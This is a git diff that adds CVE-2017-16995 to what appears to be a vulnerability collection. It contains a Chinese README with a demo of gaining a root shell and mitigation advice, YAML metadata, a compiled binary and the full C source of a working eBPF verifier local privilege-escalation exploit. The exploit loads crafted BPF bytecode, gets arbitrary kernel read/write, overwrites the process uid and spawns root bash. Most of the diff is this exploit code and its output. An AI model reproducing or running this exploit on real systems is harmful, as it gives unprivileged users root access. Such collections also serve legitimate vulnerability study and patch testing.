diff --git a/cve/linux-kernel/2017/CVE-2017-16995/README.md b/cve/linux-kernel/2017/CVE-2017-16995/README.md new file mode 100644 index 0000000000000000000000000000000000000000..3c6dc3322213f0ffdf49857184a8a7c81a375fb1 --- /dev/null +++ b/cve/linux-kernel/2017/CVE-2017-16995/README.md @@ -0,0 +1,68 @@ + +# Linux Kernel Version 4.14 - 4.4 (Ubuntu && Debian) + +## 描述 + +该漏洞存在于Linux内核带有的eBPF bpf(2)系统调用中,当用户提供恶意BPF程序使eBPF验证器模块产生计算错误,导致任意内存读写问题。 非特权用户可以使用此漏洞获得权限提升。漏洞由Google project zero发现。 + +## 漏洞编号 +CVE-2017-16995 + +## 威胁等级 +高危 + +## 演示 + +``` +bearcat@ubuntu:/opt$ lsb_release -a +No LSB modules are available. +Distributor ID: Ubuntu +Description: Ubuntu 16.04.4 LTS +Release: 16.04 +Codename: xenial +bearcat@ubuntu:/opt$ uname -a +Linux ubuntu 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux +bearcat@ubuntu:/opt$ id +uid=1000(bearcat) gid=1000(bearcat) groups=1000(bearcat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) +bearcat@ubuntu:/opt$ ls +exploit.c +bearcat@ubuntu:/opt$ gcc exploit.c -o exploit +bearcat@ubuntu:/opt$ ./exploit +task_struct = ffff88003a0db800 +uidptr = ffff8800374b76c4 +spawning root shell +root@ubuntu:/opt# id +uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(bearcat) +root@ubuntu:/opt# +``` + +## 修复建议 + +1.目前暂未有明确的补丁升级方案。 建议用户在评估风险后,通过修改内核参数限制普通用户使用bpf(2)系统调用: + + 设置参数“kernel.unprivileged_bpf_disabled = 1”通过限制对bpf(2)调用的访问来防止这种特权升级 + +  `root@Ubuntu# echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled` + +2.相关代码补丁 + https://github.com/torvalds/linux/commit/95a762e2c8c942780948091f8f2a4f32fce1ac6f + +## 相关链接 + +http://cyseclabs.com/exploits/upstream44.c + +https://security-tracker.debian.org/tracker/CVE-2017-16995 + +https://www.securityfocus.com/bid/102288 + +https://blog.aquasec.com/ebpf-vulnerability-cve-2017-16995-when-the-doorman-becomes-the-backdoor?utmcampaign=General%20website&utmcontent=67375488&utmmedium=social&utmsource=twitter + +https://bugs.chromium.org/p/project-zero/issues/detail?id=1454&desc= + +https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f + +https://cert.360.cn/warning/detail?id=119f849891f2a1b5deef65f99923ab5a + +https://github.com/torvalds/linux/commit/95a762e2c8c942780948091f8f2a4f32fce1ac6f + +https://github.com/jas502n/Ubuntu-0day diff --git a/cve/linux-kernel/2017/CVE-2017-16995/exploit b/cve/linux-kernel/2017/CVE-2017-16995/exploit new file mode 100644 index 0000000000000000000000000000000000000000..7e0bd2f184df236c62d1f4bd8bfc513d14e1ecde Binary files /dev/null and b/cve/linux-kernel/2017/CVE-2017-16995/exploit differ diff --git a/cve/linux-kernel/2017/CVE-2017-16995/exploit.c b/cve/linux-kernel/2017/CVE-2017-16995/exploit.c new file mode 100644 index 0000000000000000000000000000000000000000..40ccd784629e48c4203b8e706b5afbdf03811abe --- /dev/null +++ b/cve/linux-kernel/2017/CVE-2017-16995/exploit.c @@ -0,0 +1,247 @@ +/* + * Ubuntu 16.04.4 kernel priv esc + * + * all credits to @bleidl + * - vnik + */ + +// Tested on: +// 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 +// if different kernel adjust CRED offset + check kernel stack size +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define PHYS_OFFSET 0xffff880000000000 +#define CRED_OFFSET 0x5f8 +#define UID_OFFSET 4 +#define LOG_BUF_SIZE 65536 +#define PROGSIZE 328 + +int sockets[2]; +int mapfd, progfd; + +char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff" + "\x55\x09\x02\x00\xff\xff\xff\xff" + "\xb7\x00\x00\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x18\x19\x00\x00\x03\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\xbf\x91\x00\x00\x00\x00\x00\x00" + "\xbf\xa2\x00\x00\x00\x00\x00\x00" + "\x07\x02\x00\x00\xfc\xff\xff\xff" + "\x62\x0a\xfc\xff\x00\x00\x00\x00" + "\x85\x00\x00\x00\x01\x00\x00\x00" + "\x55\x00\x01\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x79\x06\x00\x00\x00\x00\x00\x00" + "\xbf\x91\x00\x00\x00\x00\x00\x00" + "\xbf\xa2\x00\x00\x00\x00\x00\x00" + "\x07\x02\x00\x00\xfc\xff\xff\xff" + "\x62\x0a\xfc\xff\x01\x00\x00\x00" + "\x85\x00\x00\x00\x01\x00\x00\x00" + "\x55\x00\x01\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x79\x07\x00\x00\x00\x00\x00\x00" + "\xbf\x91\x00\x00\x00\x00\x00\x00" + "\xbf\xa2\x00\x00\x00\x00\x00\x00" + "\x07\x02\x00\x00\xfc\xff\xff\xff" + "\x62\x0a\xfc\xff\x02\x00\x00\x00" + "\x85\x00\x00\x00\x01\x00\x00\x00" + "\x55\x00\x01\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x79\x08\x00\x00\x00\x00\x00\x00" + "\xbf\x02\x00\x00\x00\x00\x00\x00" + "\xb7\x00\x00\x00\x00\x00\x00\x00" + "\x55\x06\x03\x00\x00\x00\x00\x00" + "\x79\x73\x00\x00\x00\x00\x00\x00" + "\x7b\x32\x00\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x55\x06\x02\x00\x01\x00\x00\x00" + "\x7b\xa2\x00\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x7b\x87\x00\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00"; + +char bpf_log_buf[LOG_BUF_SIZE]; + +static int bpf_prog_load(enum bpf_prog_type prog_type, + const struct bpf_insn *insns, int prog_len, + const char *license, int kern_version) { + union bpf_attr attr = { + .prog_type = prog_type, + .insns = (__u64)insns, + .insn_cnt = prog_len / sizeof(struct bpf_insn), + .license = (__u64)license, + .log_buf = (__u64)bpf_log_buf, + .log_size = LOG_BUF_SIZE, + .log_level = 1, + }; + + attr.kern_version = kern_version; + + bpf_log_buf[0] = 0; + + return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)); +} + +static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, + int max_entries) { + union bpf_attr attr = { + .map_type = map_type, + .key_size = key_size, + .value_size = value_size, + .max_entries = max_entries + }; + + return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); +} + +static int bpf_update_elem(uint64_t key, uint64_t value) { + union bpf_attr attr = { + .map_fd = mapfd, + .key = (__u64)&key, + .value = (__u64)&value, + .flags = 0, + }; + + return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)); +} + +static int bpf_lookup_elem(void *key, void *value) { + union bpf_attr attr = { + .map_fd = mapfd, + .key = (__u64)key, + .value = (__u64)value, + }; + + return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); +} + +static void __exit(char *err) { + fprintf(stderr, "error: %s\n", err); + exit(-1); +} + +static void prep(void) { + mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3); + if (mapfd < 0) + __exit(strerror(errno)); + + progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, + (struct bpf_insn *)__prog, PROGSIZE, "GPL", 0); + + if (progfd < 0) + __exit(strerror(errno)); + + if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) + __exit(strerror(errno)); + + if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) + __exit(strerror(errno)); +} + +static void writemsg(void) { + char buffer[64]; + + ssize_t n = write(sockets[0], buffer, sizeof(buffer)); + + if (n < 0) { + perror("write"); + return; + } + if (n != sizeof(buffer)) + fprintf(stderr, "short write: %lu\n", n); +} + +#define __update_elem(a, b, c) \ + bpf_update_elem(0, (a)); \ + bpf_update_elem(1, (b)); \ + bpf_update_elem(2, (c)); \ + writemsg(); + +static uint64_t get_value(int key) { + uint64_t value; + + if (bpf_lookup_elem(&key, &value)) + __exit(strerror(errno)); + + return value; +} + +static uint64_t __get_fp(void) { + __update_elem(1, 0, 0); + + return get_value(2); +} + +static uint64_t __read(uint64_t addr) { + __update_elem(0, addr, 0); + + return get_value(2); +} + +static void __write(uint64_t addr, uint64_t val) { + __update_elem(2, addr, val); +} + +static uint64_t get_sp(uint64_t addr) { + return addr & ~(0x4000 - 1); +} + +static void pwn(void) { + uint64_t fp, sp, task_struct, credptr, uidptr; + + fp = __get_fp(); + if (fp < PHYS_OFFSET) + __exit("bogus fp"); + + sp = get_sp(fp); + if (sp < PHYS_OFFSET) + __exit("bogus sp"); + + task_struct = __read(sp); + + if (task_struct < PHYS_OFFSET) + __exit("bogus task ptr"); + + printf("task_struct = %lx\n", task_struct); + + credptr = __read(task_struct + CRED_OFFSET); // cred + + if (credptr < PHYS_OFFSET) + __exit("bogus cred ptr"); + + uidptr = credptr + UID_OFFSET; // uid + if (uidptr < PHYS_OFFSET) + __exit("bogus uid ptr"); + + printf("uidptr = %lx\n", uidptr); + __write(uidptr, 0); // set both uid and gid to 0 + + if (getuid() == 0) { + printf("spawning root shell\n"); + system("/bin/bash"); + exit(0); + } + + __exit("not vulnerable?"); +} + +int main(int argc, char **argv) { + prep(); + pwn(); + + return 0; +} diff --git a/cve/linux-kernel/2017/yaml/CVE-2017-16995.yaml b/cve/linux-kernel/2017/yaml/CVE-2017-16995.yaml new file mode 100644 index 0000000000000000000000000000000000000000..fea42afbf158e59f2b10082868759030ec50552b --- /dev/null +++ b/cve/linux-kernel/2017/yaml/CVE-2017-16995.yaml @@ -0,0 +1,20 @@ +id: CVE-2017-16995 +source: https://github.com/C0dak/CVE-2017-16995 +info: + name: Linux内核是Linux基金会的开源操作系统Linux所使用的内核。 + severity: high + description: | + 该漏洞存在于Linux内核带有的eBPF bpf(2)系统调用中,当用户提供恶意BPF程序使eBPF验证器模块产生计算错误,导致任意内存读写问题。 非特权用户可以使用此漏洞获得权限提升。 + scope-of-influence: + linux_kernel 4.4 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2017-16995 + - https://github.com/C0dak/CVE-2017-16995 + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2017-16995 + cwe-id: CWE-119 + cnvd-id: None + kve-id: None + tags: kernel, Privelege Escalation diff --git a/openkylin_list.yaml b/openkylin_list.yaml index a39bab918729fb12510cb76508e82d8d225740c6..b9c7605cb041fd45de261c5db4fdeee167f4ca40 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -75,6 +75,7 @@ cve: - CVE-2019-13272 - CVE-2020-12351 - CVE-2021-43267 + - CVE-2017-16995 sudo: - CVE-2019-18634 - CVE-2021-3156